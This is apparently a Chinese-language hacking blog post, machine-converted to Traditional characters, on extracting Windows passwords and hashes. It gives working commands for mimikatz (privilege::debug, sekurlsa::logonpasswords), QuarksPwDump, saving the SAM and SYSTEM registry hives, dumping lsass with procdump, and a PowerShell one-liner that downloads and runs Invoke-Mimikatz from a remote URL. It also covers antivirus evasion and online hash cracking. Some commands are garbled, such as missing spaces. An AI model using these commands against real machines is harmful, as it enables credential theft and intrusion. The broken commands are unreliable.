Windwos密碼匯出的幾種姿勢
這篇文章主要是介紹怎麼在本地提取使用者密碼,把知識整理了一下,把知識整理起來的威力還是挺大的。以下的方式分為要免殺和不需要免殺的方式。文章介紹的技術具有一定的攻擊性,主要用於學習。
要免殺:
1.Getapss
Getapss是由閃電小子根據mimikatz編譯的一個工具,可以獲取明文密碼。現在有32位和64位了,直接執行getpass.exe。
2.QuarksPwDump
目前可以匯出 :- Local accounts NT/LM hashes + history 本機NT/LM雜湊+歷史登入記錄 – Domain accountsNT/LM hashes + history 域中的NT/LM雜湊+歷史登入記錄– Cached domain password 快取中的域管理密碼 【這需要域管理員登陸過】。
用法:
Options :
-k --get-system-key
-dhl --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd --dump-hash-domain (NTDS_FILE must be specified)
-db --dump-bitlocker (NTDS_FILE must be specified)
-sf --system-file FILE
-sk --system-key KEY
-nt --ntds-file FILE
-hist --with-history (optional)
-t --output-type JOHN/LC (optional, if no=>JOHN)
-o --output FILE (optional, if no=>stdout)
Example: quarks-pwdump.exe--dump-hash-domain --with-history
quarks-pwdump.exe -dhl
3.mimikatz的利用
這個一個法國人寫的一款工具,可以得到windows明文密碼,這只是功能之一,用處還有很大。例如黃金票據的利用,這裡有介紹:http://www.freebuf.com/sectool/112594.html
第一條:privilege::debug
//提升許可權
第二條:sekurlsa::logonpasswords
//抓取密碼
不需要免殺:
1.使用登錄檔匯出hash命令:
reg save hklm\sam C:\hash\sam.hive
reg save hklm\system C:\hash\system.hive
直接執行可以把windows裡所有使用者的hash在登錄檔中匯出到檔案裡.
具體的執行命令方法有很多,這裡就不探討這個.
開啟Cain讀取匯出的登錄檔檔案的hash.
選擇Cracker.-再選擇第一個LM & NTLMhash匯入登錄檔檔案
右鍵選擇add tolist-選擇最後一個
先新增SAM檔案
再新增boot key
可以獲取hash值,hash值可以在這個網站那裡破解.
http://www.objectif-securite.ch/ophcrack.php
2.procdump
procdump是微軟官方提供的一個小工具,在微軟官方有下載
地址:https://technet.microsoft.com/en-us/sysinternals/dd996900
將工具拷貝到目標機器上執行如下命令(需要管理員許可權,我選擇的版本是64位)
Procdump64.exe -accepteula -ma lsass.exelsass.dmp
將這個記憶體dump檔案拷貝到mimikatz同目錄下,雙擊開啟mimikatz執行情況如圖:
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
3.Powershell+mimikatz的利用
在windows中powershell是白名單來的,不需要進行免殺,可以利用直接用poweshell來呼叫mimikatz進行明文的獲取。 powershell "IEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
也可以把mimikatz的poweshell檔案放在邊界的伺服器上,利用powershell可以讀取:
4.powershell+getpasshash
也是利用powershell,不過是利用getpasshash,這個還是要解hash值的。當不能夠解除hash的時候,也可以進行wce進行hash的注入。
powershell "IEX (New-ObjectNet.WebClient).DownloadString('c:/Get-PassHashes.ps1'); Get-PassHashes "
成功匯出hash
參考文章:
http://bbs.ichunqiu.com/thread-8826-1-1.html?from=paper